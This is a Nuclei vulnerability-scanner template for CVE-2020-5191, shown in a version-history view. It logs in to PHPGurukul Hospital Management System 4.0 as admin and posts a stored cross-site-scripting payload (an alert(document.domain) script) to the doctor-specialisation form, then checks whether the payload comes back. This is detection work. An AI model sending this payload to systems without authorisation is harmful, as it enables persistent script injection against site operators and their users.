nuclei-templates/cves/2020/CVE-2020-5191.yaml

52 lines
1.3 KiB
YAML
Raw Normal View History

2022-08-27 06:09:36 +00:00
id: CVE-2020-5191
2022-08-27 14:09:13 +00:00
2022-08-27 06:09:36 +00:00
info:
2022-08-27 14:09:13 +00:00
name: Hospital Management System 4.0 - Cross-Site Scripting
2022-08-27 06:09:36 +00:00
author: TenBird
2022-08-27 14:09:13 +00:00
severity: medium
description: |
PHPGurukul Hospital Management System in PHP v4.0 suffers from multiple Persistent XSS vulnerabilities.
2022-08-27 06:09:36 +00:00
reference:
2022-08-27 14:09:13 +00:00
- https://www.exploit-db.com/exploits/47841
2022-08-27 06:09:36 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-5191
classification:
cve-id: CVE-2020-5191
2022-08-27 14:09:13 +00:00
metadata:
verified: true
tags: cve,cve2020,hms,cms,xss,authenticated
2022-08-27 06:09:36 +00:00
requests:
- raw:
- |
POST /hospital/hms/admin/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-08-27 14:09:13 +00:00
2022-08-27 06:12:21 +00:00
username={{username}}&password={{password}}&submit=&submit=
2022-08-27 14:09:13 +00:00
2022-08-27 06:09:36 +00:00
- |
POST /hospital/hms/admin/doctor-specilization.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-08-27 14:09:13 +00:00
doctorspecilization=%3C%2Ftd%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3Ctd%3E&submit=
2022-08-27 06:09:36 +00:00
redirects: true
2022-08-27 14:09:13 +00:00
max-redirects: 2
2022-08-27 06:09:36 +00:00
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-08-27 14:09:13 +00:00
- '</td><script>alert(document.domain);</script><td>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200